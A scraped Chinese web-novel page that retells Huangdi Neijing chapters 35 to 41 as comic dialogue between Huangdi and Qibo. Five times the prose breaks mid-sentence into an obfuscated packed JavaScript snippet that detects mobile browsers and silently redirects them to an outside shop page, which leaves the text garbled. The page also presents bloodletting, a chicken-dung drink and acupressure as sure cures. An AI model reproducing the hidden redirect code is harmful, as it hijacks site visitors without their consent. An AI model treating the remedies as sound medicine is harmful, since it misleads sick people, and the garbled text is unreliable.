牢扎了根，跟阳气玩起了捉迷藏，谁也不让谁出去。这一来二去的，就形成了隔日一发的节奏。” 黄帝大大一听，眼睛一亮，连连点头：“哦～原来如此，那为啥有的人发病时间是晚上晚些时候，有的人却是早上早些时候呢？这又是哪路神仙在作怪？” 岐伯老师继续他的医学脱口秀：“哈哈，黄帝大大，这又得说到那调皮的邪气了。它啊，先溜进了咱们的风府穴，也就是现在说的后脑勺那块儿，然后沿着脊椎这条高速公路一路向下。您知道吗？咱们的卫气，就像身体的保安队，每天早晚都会在风府穴开个大会，商量怎么保护咱们。但邪气这家伙狡猾得很，它知道卫气开会的时候，别的地方防守就弱了，于是它就趁机溜进去。而且啊，它每天还往下一节脊椎跑，所以发病的时间就越来越晚了。这就像咱们追剧，越到后面越舍不得睡，对吧？” 黄帝大大听得津津有味，忍不住插话：“对对对，那后来呢？为啥又变早了呢？” 岐伯老师接着说：“别急嘛，黄帝大大。邪气在脊椎里溜达了二十五天后，终于到达了骶骨那地界，也就是屁股上面那块骨头。然后它不甘心只在外围晃荡，第二十六天的时候，它就悄悄潜入了脊椎里面，躲进了咱们说的‘伏膂之脉’，也就是现在说的腰部两侧的经络里。这家伙在里面待久了，觉得闷得慌，就想着往上爬。经过九天的努力，它终于爬到了缺盆穴，也就是锁骨上窝那块儿。您想啊，邪气爬得越高，离咱们的头部越近，发病的时间自然也就越来越早了。这就像咱们爬山，越高看到的风景就越早嘛！” 这章没有结束，请点击下一页继续阅读！ 刺疟篇第三十六 咱们说说这“足太阳之疟”。想象一下，你正悠哉游哉地享受着午后时光，突然，一股寒意从脊梁骨直往上窜，就像是谁在你背后偷偷开了冰箱门，冷得你直打哆嗦，这就是“寒从背起”的感觉。紧接着，这股寒意像是玩起了变脸游戏，突然间，全身就热了起来，就像是被夏日午后的阳光直接拥抱，那叫一个“先寒后热”。而且啊，这热起来还不是温温柔柔的，是那种“煸熵喝喝然”的热烈，仿佛身体里的每个细胞都在开派对，热闹得让人难以消受。不过别担心，派对总有散场的时候，热劲儿一过，汗水就哗哗地往外冒，像是身体在庆祝终于战胜了这场突如其来的“冰火两重天”。但这病啊，可不是出出汗就能轻易甩掉的，它缠人得很，让人直呼“难已”。 那怎么办呢？古人智慧来了！他们说了，遇到这种情况，就得“刺郄中出血”。郄中，在现代中医里，我们可以理解为某些特定的穴位，比如委中穴（位于膝盖后侧，腘窝横纹中央），它就像是身体里的“压力释放阀”。通过针灸刺激这些穴位，让血液得以顺畅流动，将体内的邪气、淤滞一并排出，就像是给身体来了一场深度清洁，那叫一个清爽！ 接下来，咱们再聊聊“足少阳之疟”。这家伙，听起来就像是在说一个性格有点“闷骚”的疟疾类型。得了这种病的人啊，会感觉身体懒洋洋的，像是被春天的困意缠上了身，怎么都打不起精神，这就是“身体解倦”。而且，这寒热交替的症状吧，也不像足太阳之疟那么剧烈，就是“寒不甚，热不甚”，像是天气预报里的“微凉转微热”，让人摸不着头脑。更有趣的是，患者还特别怕见人，一见到人就心里发慌，像是做了什么亏心事一样，心里“惕惕然”。不过呢，这热劲儿一旦上来，那汗可是出得相当豪放，仿佛是要把内心的所有不安都随着汗水一起排出去。 对付这种“闷骚型”疟疾，古人也给出了妙招——刺足少阳。这里的“足少阳”，其实就是指我们身体上的一系列少阳经穴，比如风市穴（位于大腿外侧，腘横纹上七寸处），它们就像是身体里的“情绪调节器”。通过针灸这些穴位，可以帮助调节身体的阴阳平衡，缓解内心的烦躁与不安，让身体和心理都回归到一种和谐的状态。 咱们再说说这位“足阳明之疟”老兄。这家伙啊，就像是个爱搞恶作剧的调皮鬼，每次来都不按套路出牌。一开始，它让你感觉像是突然掉进了冰窖，浑身冷得直打哆嗦，那种“洒淅酒淅”（就是冷得跟喝了冰镇酒还直冒凉风似的）的感觉，简直能让人怀疑人生。不过别急，这还不是最绝的，它非得等你冻得够久了，才慢悠悠地给你来波“反转剧情”——突然热起来，热得你直冒汗，仿佛瞬间穿越到了盛夏的火炉旁。但神奇的是，一出完汗，你还就特别喜欢晒太阳、看火光，感觉整个人都“快然”了，就像是被阳光和温暖彻底治愈了一样。治疗这位老兄，中医的智慧告诉我们，得扎扎脚上的“足三里”穴（古代说的“足阳明跗上”大致就是这儿），一针下去，嘿，效果杠杠的！ 接下来，咱们聊聊温柔的“足太阴之疟”小姐姐。这位可不像阳明老兄那么爱闹腾，但她也有她的烦恼。她总是让人心情低落，提不起劲，好像世界都失去了色彩。她总是喜欢长叹一口气，仿佛这样能缓解内心的郁闷。吃饭也不香了，胃口差得跟啥似的，时不时还来个寒热交替，汗如雨下。最有趣的是，每当病情发作，她还特别爱吐，吐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318175|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完了倒好，症状能稍微缓解那么一点点。对付这位小姐姐，咱们得及时出手，针灸治疗走起，选取的穴位嘛，就像是给心灵开了一扇窗，让负面情绪随风而去。 咱们还得聊聊那位性格孤僻的“足少阴之疟”大侠。这位老兄可是个狠角色，一来就让你吐得昏天黑地，简直比坐过山车还刺激。而且，他的“多寒热”症状也是让人头疼不已，热的时候比夏天还热，冷的时候比冬天还冷，偏偏热多寒少，让人摸不着头脑。最让人哭笑不得的是，他还喜欢把自己关在屋里，门窗紧闭，好像这样就能躲过病痛的侵扰。但实际上，这病啊，可不是那么容易就能躲过去的。对付这位大侠，咱们得更有耐心和技巧，通过针灸等中医手段，慢慢调理，帮助他找回身体的平衡和内心的宁静。 咱们聊聊“足厥阴之疟”。这听起来就像是武侠小说里的神秘病症，其实啊，它是中医里讲的一种因为足厥阴肝经（现代咱们常说的是肝经，对应的穴位比如太冲、行间这些）出了问题引起的疟疾。想象一下，你正悠哉游哉地走着，突然感觉腰像被谁踹了一脚，疼得厉害，再摸摸小肚子，鼓鼓胀胀的，好像吃多了不消化。更糟的是，想上个厕所吧，那小便跟挤牙膏似的，半天挤不出几滴，但你又明明没尿路感染，这感觉，哎，真是“非癃也胜似癃”啊！而且啊，这病还让你整天提心吊胆的，感觉心里头少了那么一股子气，肚子里也是闷闷的，不舒坦。这时候啊，中医就会告诉你：“别怕，咱有招儿！”直接给你来几针足厥阴肝经上的穴位，比如太冲、行间，保证你“针”到病除，腰不酸了，腿不疼了，连上厕所都顺畅了！ 本小章还未完，请点击下一页继续阅读后面精彩内容！ 气厥论篇第三十七 黄帝有一天突发奇想，像是个好奇宝宝似的，问岐伯老师：“哎，老师，您说说看，咱们身体里的五脏六腑，它们之间要是寒热之气跑来跑去，互相串门，会闹出啥花样来啊？”岐伯老师一听，微微一笑，这题他会，于是慢悠悠地开讲了。 “黄帝啊，你这个问题挺有意思的。咱们先说肾吧，肾这家伙要是心情不好，把寒气一股脑儿地往脾那里送，脾可就遭殃了。脾一受凉，身体就容易长包鼓包，像个小山丘似的，咱们叫它‘痈肿’。而且啊，脾管着咱们的气机，一受冻，气就不够用了，人就觉得气短，少气懒言的。” “再来说说脾，脾要是也学肾那样，把寒气送给肝，肝可就不乐意了。肝主筋，肝一受凉，筋就缩成一团，跟抽筋似的，疼起来要人命。所以啊，这叫‘筋挛’，走路都得小心翼翼，生怕一不小心就扯到筋。” “肝这家伙也是个调皮鬼，它要是觉得冷了，就偷偷把寒气送给心。心可是咱们身体的‘大太阳’，一受冷，整个人的精神状态就不对了，可能会变得疯疯癫癫的，咱们叫‘狂’症。更糟糕的是，心寒还可能让胸中像隔了堵墙似的，闷得慌，这就是‘隔中’了。” “心这家伙也挺能折腾的，它要是觉得肺太热了，就把自己那点寒气送给肺降温。结果呢，肺不但没凉快下来，反而得了个怪病叫‘肺消’。这病啊，就是喝多少水都渴，喝一溲二（喝进去的水，小便要排出两倍的量），简直是水做的生命体在漏水，到了这地步，神仙也难救了。” “轮到肺了，肺这家伙如果觉得自己太冷，就会想办法把寒气传给肾。这一传可不得了，肾直接变成了‘涌水’机。这涌水啊，不是真的水涌出来，而是感觉肚子里有水在晃荡，按上去肚子也不硬，但水气却悄悄溜进了大肠。你走路走快点，还能听到肚子里‘濯濯’作响，就像袋子里装着水晃来晃去一样，这就是典型的水病了。” “咱们再换个方向说说热吧。脾这家伙有时候热情过了头，就把热气传给肝。肝一受热，那可不得了，容易受惊，还可能流鼻血，咱们叫‘惊衄’。想象一下，一个人突然受到惊吓，鼻血飞溅，那场面得多壮观！” “肝这家伙要是再把热气传给心，那可就大事不妙了。心脏可是咱们身体的发动机，一旦过热，直接可能导致熄火，也就是咱们说的‘心火过旺，危及生命’。” “心要是热得难受，还会把热气往肺上送。肺一受热，就容易出现‘鬲消’的病。这鬲啊，就像是身体里的一个隔板，肺受热后，隔板就化了，吃的东西进去，直接穿肠而过，身体吸收不到营养，人自然就消瘦下去了。” “再说说肺，肺要是觉得自己太热了，也会想办法降温，结果一不小心就把热气传给了肾。肾这一受热，就变成了‘柔痿’。柔痿可不是什么好东西，它让人的骨头、肌肉都变得软绵绵的，没力气，走路都费劲，感觉整个人都‘温柔’得不像话了。” 肾脏老兄，它可是个热情奔放的家伙，有时候热情过了头，就会把自己的“火热之气”传递给脾大妈。脾大妈本来是负责消化、运化水谷的，这一来可好，被肾的热气一熏，直接“虚”了，出现了咱们常说的“肠澼”（就是拉肚子拉到怀疑人生那种）。这可不是小打小闹，要是发展到“肠澼死”，那就是说，拉肚子拉到极致，身体都虚脱了，这可真是“不可治”的境地啊！所以，大家要记得，平时别让肾的火气太旺，得给它降降火，多喝点水，吃点清淡的，别让脾大妈遭罪。 胞宫姐姐，也就是咱们女性的子宫或者男性的前列腺那片儿，要是它热得受不了，就会把这股热劲儿传递给膀胱老弟。膀胱老弟一接到这烫手山芋，立马就不干了，不是小便不通畅（癃），就是尿里带血（溺血）。这下子，上厕所都成了件头疼事儿，得赶紧找医生调理调理，别让小问题变成大麻烦。 膀胱老弟的热气没处撒，又传给了小肠弟弟。小肠弟弟一受热，哎呀妈呀，那可就热闹了，不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318176|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仅肚子里的“隔肠”（可以理解为肠道分隔处）不舒服，连带着嘴巴也跟着遭殃，出现了“口糜”——嘴巴里长疮，疼得连饭都吃不下。这简直就是吃货们的噩梦啊！所以啊，平时得注意，别让膀胱热得过头，不然小肠和嘴巴都得跟着受罪。 小肠弟弟的热气继续传递，这次是大肠叔叔接招了。大肠叔叔一受热，那可不是闹着玩的，轻则便秘，重则长出“瘕”（可以理解为肠道里的肿块），还可能导致身体沉重无力。这感觉，就像是肚子里装了块大石头，走路都费劲。所以啊，保持肠道通畅，别让热气滞留，可是个大学问。 大肠叔叔的热气又传给了胃大爷。胃大爷平时可是个吃货，但这次不一样了，它虽然还是能吃，可怎么吃都不胖，反而越来越瘦，这就是所谓的“食亦”（吃得多却消瘦）。这可急坏了胃大爷，其实啊，这就是因为胃里有热，食物进去后没得到好好消化吸收就被排出了。这时候，得给胃大爷降降火，让它舒舒服服地享受美食。 胃大爷的热气继续传递，这次轮到了胆小姐。胆小姐一受热，也是“食亦”的症状，不过这里的重点更在于胆汁的分泌可能受到影响，进而影响到整个 消化系统。而胆小姐要是再热得不行，还会把热气传给脑袋——也就是咱们的“脑瓜子”。脑瓜子一热，那可不得了，会出现“辛頞鼻渊”——就是鼻子老是不停地流浊鼻涕，跟开了水龙头似的。再严重点，还可能流鼻血、视力模糊甚至昏迷不醒。这简直就是身体内部的“火灾现场”啊！所以啊，咱们得时刻关注身体的“温度”，别让热气乱跑，保持良好的生活习惯和饮食习惯，让身体内部保持和谐平衡。 说到这里，岐伯老师顿了顿，看着黄帝一脸认真的样子，笑道：“黄帝啊，这五脏六腑之间的寒热相移，就像咱们人间的邻里关系，有时候互相帮忙，有时候又互相添乱。要想身体好，就得学会平衡，让五脏六腑和谐共处，寒热适中，这样才能远离疾病，健康长寿啊！” 咳论篇第三十八 黄帝有一天突发奇想，捋着胡须问岐伯：“老岐啊，都说咳嗽是肺的问题，可这里头到底有啥玄机呢？”岐伯一听，眼睛一亮，仿佛看到了讲台上的一束追光，笑眯眯地回答：“哎呀，陛下您这问题问得深邃啊！其实啊，咳嗽这事儿，不只是肺一个人在唱独角戏，五脏六腑都是潜在的‘歌手’，只不过肺是领唱罢了。” 黄帝一听，来了兴趣，身子往前一倾：“哦？快给我细细道来，这咳嗽的‘合唱团’是怎么个情况？” 岐伯清了清嗓子，开始了他的科普小课堂：“您看，咱们的皮肤和毛发，就像是肺的外衣，也就是肺的‘合作伙伴’。这外衣要是先被风寒邪气给盯上了，邪气就会顺着这层关系，悄悄溜进肺里，搞点小动作。这就像您穿着单薄的衣服在冬天里吹风，感冒咳嗽自然就找上门了。” “再来说说吃的，要是您贪吃寒凉的食物，比如刚从冰箱里拿出来的冰镇西瓜，这些寒气一进胃，就会沿着肺经这条‘高速路’，嗖嗖地直达肺部，给肺来个‘冰桶挑战’，肺一受寒，内外夹击，咳嗽就跟着来了，咱们称之为‘肺咳’，这可是肺的直接抗议哦！” 黄帝听得津津有味，连连点头：“有意思，继续说，继续说！” 岐伯接着说：“而且啊，咱们的五脏六腑还特讲究‘时间管理’，它们各有各的‘值班表’。比如说，秋天是肺的主场，这时候肺最容易受邪，咳嗽也就成了常客；春天呢，万物复苏，肝气生发，如果这时候肝气不顺，也可能引发咳嗽，不过这时候的咳嗽可能就带着点‘生闷气’的感觉；夏天心火旺，心火过旺也可能烧到肺，让咳嗽带点‘热情’；至于脾和肾，它们分别在长夏和冬天容易‘中招’，脾一虚，湿气重，咳嗽可能还伴着痰；肾一受寒，咳嗽就深沉得像老烟枪，还带着点肾虚的疲惫感。” 黄帝听得哈哈大笑：“老岐，你这比喻真是绝了，把深奥的医理讲得这么生动有趣！” 岐伯也笑了：“陛下过奖了，其实啊，咱们人的身体与天地自然息息相关，就像是地球上的一个小宇宙，遵循着同样的规律和节奏。所以嘛，养生治病，也要顺应四时变化，该保暖时保暖，该清热时清热，这样才能让身体这个‘合唱团’和谐共唱，远离咳嗽等小毛病的打扰。” “另外啊，说到穴位，虽然古代的名字听起来神秘，但咱们现代人也有对应的理解方式。比如肺经上的‘列缺穴’，就像是肺脏的一个小小开关，轻轻按摩它，就能帮助肺脏排邪外出，缓解咳嗽。还有‘合谷穴’，那可是个‘万能穴’，不仅止痛，还能增强免疫力，预防感冒咳嗽。您要是哪天感觉嗓子不舒服，不妨试试按按这些穴位，说不定有奇效哦！” 黄帝听得心花怒放，一拍大腿：“好！以后我也要学会这些养生小妙招，让身体这个‘合唱团’永远和谐美满！” 黄帝表情严肃了一下，又问道：“老岐，你跟我好好聊聊这五脏六腑咳嗽起来的表现！”岐伯老先生清了清嗓子，说道：首先，咱们说说这肺咳，它可不像普通的小打小闹，一咳起来，那简直是“气喘如牛，还带背景音乐”的。您想象一下，肺大哥一不高兴，就开始“呼哧呼哧”地演奏交响乐，声音之大，连隔壁老王家的狗都得抬头看看天，心想：“这谁家在练肺活量呢？”更绝的是，如果肺咳得狠了，还能“吐血为墨”，当然啦，这夸张了点，但足以说明病情之重。所以，朋友们，保护肺，就是保护你的“生命之歌”啊！< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318177|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 接下来，咱们跳转到心咳的频道。心脏这位“情感大师”，一旦咳嗽起来，那可是“心痛到无法呼吸”的典范。咳的时候，感觉喉咙里像是被啥东西卡住了，介介作响，就像是吃了没煮熟的汤圆，卡在嗓子眼，上不去下不来的。严重的时候，喉咙肿得跟包子似的，说话都变“鸭嗓”了，那叫一个难受。所以啊，咱们得对心脏好点，别让它轻易“心碎”。 再聊聊肝咳，这位“硬汉”的咳嗽方式可不一样。肝嘛，主疏泄，一旦它咳起来，就像是在说：“我生气了，后果很严重！”两胁下隐隐作痛，那感觉就像是有人在你腰间偷偷捏了两把，还用力过猛。更夸张的是，一转身，哎哟，两胠（现代咱们可以理解为腰侧到肋骨下的区域）就胀得满满的，好像多吃了两碗饭没消化似的。所以啊，保持好心情，别让肝气郁结，否则咳嗽起来，可是“内伤”啊！ 说到脾咳，它就比较“低调”了，但疼起来也是让人直呼“救命”。脾是后天之本，它一咳嗽，右胁下就开始隐隐作痛，还牵扯着肩背，那感觉就像是背了个隐形的“小书包”，沉甸甸的。稍微动一动，咳嗽就加剧，仿佛在说：“别动我，我正忙着跟我的小伙伴（疼痛）玩耍呢！”因此，饮食有节，保护脾胃，就是避免这种“甜蜜的负担”。 最后，咱们来谈谈肾咳。肾乃先天之本，它要是咳起来，那可是“牵一发而动全身”。咳的时候，感觉腰和背像是被一根无形的线紧紧相连，一咳就痛，痛得让人直不起腰来。严重的时候，还能咳出涎水，就像是身体里的小溪突然泛滥了。这告诉我们，养肾就是养命，得时刻关注它的“小情绪”。 这章没有结束，请点击下一页继续阅读 ！ 举痛论篇第三十九 黄帝大人一脸好奇地发问：“嘿，听说那些能把天文说得头头是道的人，他们的话在人间也能找到对应的验证；那些能侃侃而谈古代智慧的人，他们的见解总能在今天找到共鸣；还有啊，那些擅长剖析人性的人，往往自个儿也活得通透，没啥心理疙瘩。这样一来，他们掌握的道就不迷茫，关键信息一网打尽，那叫一个明明白白。我呢，今儿个就想跟您这位大专家讨教讨教，有没有那么一些知识，说出来我就能懂，看一眼就明白，摸一把就感受得到，最好是能让我自己试试，然后豁然开朗，解除我心中的小疑惑，这样的学问，您愿意给我分享分享不？” 岐伯老师一听，连忙恭敬地行礼回答：“哎呀，黄帝大人您这是要考我哪方面的学问啊？尽管问，知无不言！” 黄帝笑眯眯地说：“我就纳闷了，人这五脏六腑，有时候突然就疼得跟啥似的，这到底是哪路神仙在作祟啊？” 岐伯老师慢悠悠地解释道：“哈哈，黄帝大人，这可不是神仙作祟，而是咱们身体里的经脉系统在搞小动作呢。您想啊，咱们身体里的经脉，就像是一条条永不干涸的小溪，日夜不停地流淌，周而复始，滋养着每一寸肌肤，每一个脏腑。可要是哪天，寒风这个小淘气偷偷溜进了经脉，那可就热闹了。” “寒风这家伙，一来就喜欢搞破坏，它会让经脉里的气血流动变慢，就像是小溪被冰块堵住了，水流变得缓慢甚至停滞不前。这时候，如果它只是在经脉外面溜达，那还好，顶多就是外围的血液供应少了点，皮肤可能显得苍白点，人感觉冷飕飕的。但要是它胆大包天，直接窜进经脉里头，那可就糟了，气血直接堵成了车祸现场，交通瘫痪，咱们就会感觉胸口闷得慌，肚子绞痛，或者是哪里突然来那么一下，疼得直冒冷汗。” 黄帝听得津津有味，忍不住插话：“哦？这么说来，这寒气还是个调皮捣蛋鬼啊！那我们怎么对付它呢？” 岐伯老师微微一笑，继续说道：“对付这寒气小捣蛋，咱们得有两手准备。首先，得保暖啊，别让它有机可乘。冬天多穿点，别为了风度不要温度，夏天也别贪凉，空调吹久了记得起来动动，让气血活络起来。其次，就是得会疏通，就像咱们遇到堵车，得想办法疏通交通一样。咱们可以通过按摩、艾灸、拔罐这些中医理疗方法，给经脉来个深度SPA，让气血重新流动起来，把寒气这个不速之客给请出去。” “说到按摩，咱们身体上可是有不少穴位能帮忙的，比如‘合谷穴’，就在咱们的大拇指和食指中间那个虎口位置，按一按，暖身又提神；还有‘足三里’，在小腿外侧，膝盖下三寸的地方，那可是强身健体的要穴，经常按按，能增强抵抗力，让寒气望而却步。当然了，还有‘气海’、‘关元’这些穴位，都是温阳散寒的好帮手，没事儿多揉揉，对身体大有裨益。” 黄帝这时开始描述对痛的感悟，首先，说那“痛或卒然而止者”，就像是突然间的“刹车疼”——正疼得死去活来呢，嗖的一下，不疼了！这感觉，就像是你正和麻辣小龙虾较劲，突然接到快递小哥电话，一激动，忘了嘴里还嚼着呢，疼意瞬间被惊喜取代。不过，这可不是好事儿，可能是身体在给你信号，说：“嘿，哥们儿/姐们儿，悠着点，我受不了啦！” 再来，“痛甚不休者”，这就是传说中的“马拉松式疼痛”——一旦开始，就没完没了，跟跑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318178|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马拉松似的，累得你怀疑人生。这时候，别硬撑，得找医生聊聊，看看是哪儿的“小宇宙”爆发了，需要给它来个温柔的“安抚”。 “痛甚不可按者”，这就像是身上的“禁区”——轻轻一碰，痛得你直抽冷气，仿佛在说：“别碰我，我正疼着呢！”这种疼，往往暗示着里面有炎症或者淤堵，得小心处理，别自己乱按，免得按出更大的麻烦。 “按之而痛止者”，这就有点意思了，咱们称之为“神奇按摩点”——咦，不按不知道，一按疼痛消。这种疼痛，可能是气血不通，按摩正好帮它疏通了经络，缓解疼痛。这就像是你家水管堵了，用力一捅，嘿，通了！ “按之无益者”，则是那“顽固派疼痛”——不管你怎么按，它就是不为所动，好像在说：“你按任你按，清风拂山岗。”这时候，就得考虑是不是得换个思路，从内部调理了。 “喘动应手者”，听起来有点吓人，其实是说疼痛伴随着呼吸急促，手稍微一动就加重。这就像是身体在告诉你：“我呼吸困难，快帮我！”这时候，得赶紧就医，别耽误了。 “心与背相引而痛者”，咱们叫它“心心相印背痛”——心和背好像约好了似的，一起疼。这往往是心脏问题或者背部肌肉劳损的信号，得重视起来，别让小问题变成大麻烦。 “胁肋与少腹相引而痛者”，这就像是“肝胆相照，小腹也来凑热闹”——胁肋和少腹（大概就是我们常说的腰部两侧）一起疼，可能是肝气郁结或者肠胃不适。这时候，得注意调节情绪，少吃点油腻的，给身体减减压。 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 腹中论篇第四十 有一天，黄帝眉头紧锁，向他的首席健康顾问——岐伯大夫发问了：“嘿，岐伯兄，你瞧这有个人啊，心里头跟肚子里都胀得满满的，早上吃了点东西，到晚上就再也吃不下了，这到底是咋回事儿？啥病这么折磨人？” 岐伯一听，捋了捋他那长长的白胡子，笑眯眯地说：“陛下，这病啊，有个挺形象的名字，叫‘鼓胀’。您想啊，肚子鼓得跟战鼓似的，能不难受嘛！” 黄帝一听，乐了：“哟，这名儿倒是贴切。那咱得怎么治它呢？总不能眼睁睁看着百姓受苦吧？” 岐伯神秘一笑，缓缓道来：“陛下放心，咱有妙招！这方子啊，叫做‘鸡矢醴’，听起来可能有点儿那个……嘿嘿，但效果杠杠的！只需一剂，病人就能感觉到变化，两剂下去，保准好得跟没事儿人一样。” 黄帝一听，眼睛一亮：“哟呵，这么神奇？快说说，这‘鸡矢醴’究竟是何方神圣？” 岐伯便开始了他的“科普时间”：“这‘鸡矢’，其实就是咱们常说的鸡屎，不过别急着恶心，关键在于怎么用它。得选取健康土鸡的白色部分粪便（吃石子的土鸡），经过特殊处理，比如晾晒、研磨，再与一些药材如米酒、麦芽等混合发酵，制成一种特殊的液体，这就是‘鸡矢醴’了。听起来不可思议，但古人智慧无穷，这方子可是治疗鼓胀的良方呢！” 黄帝听得津津有味，还不忘调侃一句：“哈哈，这下子，连家里的鸡都要为医学事业做贡献了！” 不过，黄帝话锋一转，又提出了新的问题：“可有人说，这病治好了还会复发，这又是为啥呢？” 岐伯收起笑容，认真答道：“陛下所言极是，这病复发啊，多半是因为饮食不节。现在的人啊，总爱贪嘴，不顾及脾胃的感受，吃多了油腻生冷，自然就容易让这股‘胀气’卷土重来。所以啊，治病固然重要，但养成良好的生活习惯，才是根本之道。” 借题发挥，聊聊与脾胃健康相关的现代穴位。在中医里，调理脾胃常用的穴位有足三里、中脘、天枢等。这些穴位相当于身体的“健胃消食片”，经常按一按，有助于促进消化，缓解腹胀不适。 比如，足三里穴，它位于小腿外侧，膝盖下方约四指宽的地方。每天用指腹按压或轻揉这个穴位几分钟，就像是给脾胃做了一次温柔的按摩，能帮助它们更好地工作，减少胀气的发生。 再来说说中脘穴，它就在我们肚脐上方约四寸的位置，是胃经的募穴，也是调理脾胃的要穴。用掌心或手指轻轻按压，顺时针旋转揉动，可以有效缓解胃部不适，促进食物的消化吸收。 至于天枢穴，它位于肚脐两旁约两寸的地方，左右各一。这个穴位就像是肠道的“开关”，经常按摩可以促进肠道蠕动，帮助排便，从而减轻腹胀感。 黄帝说：“嘿，岐伯啊，有这么一种病，患者呢，总感觉胸啊、胁啊，这些地方像是被啥东西撑得满满的，吃饭都不香了。更奇的是，这病一来，患者先闻到一股子腥臊味，就像走进海鲜市场没戴口罩似的。接着呢，嘴里开始流清口水，不是馋了的那种，而是不由自主地往外冒。更吓人的是，他们还会先吐点血出来，四肢发凉，眼睛发花，时不时还从前后两道‘小门’出血，这到底是啥怪病啊？又是怎么得上的呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318179|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？” 岐伯一听，微微一笑，那神情就像是在说：“陛下，您这可是问对人了！”他缓缓道来：“这病啊，有个名字，叫‘血枯’。听起来挺文艺的，其实就是血液不足，身体干燥得像秋天里的老树叶。得这病的人啊，大多是因为年轻时候遇到过什么大出血的事儿，比如战场受伤啊，或者是女孩子生产时失血过多。再不然，就是有些人喜欢喝酒，喝得晕乎乎的就往温柔乡里钻，结果呢，气血被过度消耗，肝脏也受了伤，月经就变得稀少甚至不来了。” 黄帝一听，眉头紧锁：“哎呀，这可咋整？得想个法子治治啊！” 岐伯胸有成竹地说：“陛下莫急，我这儿有个方子，专治这血枯之症。需要用到两样宝贝：一是四乌鲗骨，听起来像是海里的神秘武器，其实是味好药，能补血滋阴；二是芦茹，也就是咱们现在说的茜草，它能活血化瘀，让血液流通顺畅。这两样东西，咱们得把它们混合在一起，然后用雀卵来当黏合剂，搓成比小豆还小的丸子。吃的时候呢，别当饭吃，得饭后吃，一次五颗，再配上点鲍鱼汁当饮料，那效果，杠杠的！” 说到这儿，咱们得给这方子来个现代版的“升级包装”。想象一下，这不仅仅是一剂药，而是一场味蕾与健康的双重盛宴！首先，咱们可以去海边精选上等的乌贼骨，那可是海鲜界的“钙中之王”，再搭配上深山里的野生茜草，纯天然无污染，绿色环保。至于雀卵嘛，虽然现代可能不太好找（毕竟咱们得保护动物），但可以用高品质的蜂蜜或者糯米浆来替代，既环保又健康。 本小章还未完，请点击下一页继续阅读后面精彩内容！ 刺腰痛篇第四十一 想象一下，你正悠哉游哉地走在春天的阳光下，突然，腰部传来一阵莫名的沉重感，就像是有人偷偷在你背上挂了个装满石头的背包，还特意拉长了你的脖子，让你的脊椎和屁股（咱们文雅点说，叫“尻背”）也跟着遭殃，那感觉，就像是整个人都被拖进了慢动作的世界，动弹不得。哎，这其实就是足太阳脉在跟你开玩笑呢！ 在中医的眼里，足太阳脉就像是一条贯穿全身的能量大河，它一旦“闹情绪”，腰痛就跟着来了。不过别怕，咱们有招儿治它！古书上说：“剌其郄中太阳正经出血”，听着挺吓人的，其实就是找准了足太阳脉上的一个关键穴位——委中穴（现代说法），给它来个“小小放血疗法”。但注意啦，春天的时候，万物生长，咱们也要温柔点，别让血见光，免得伤了春天的和气，哈哈！ 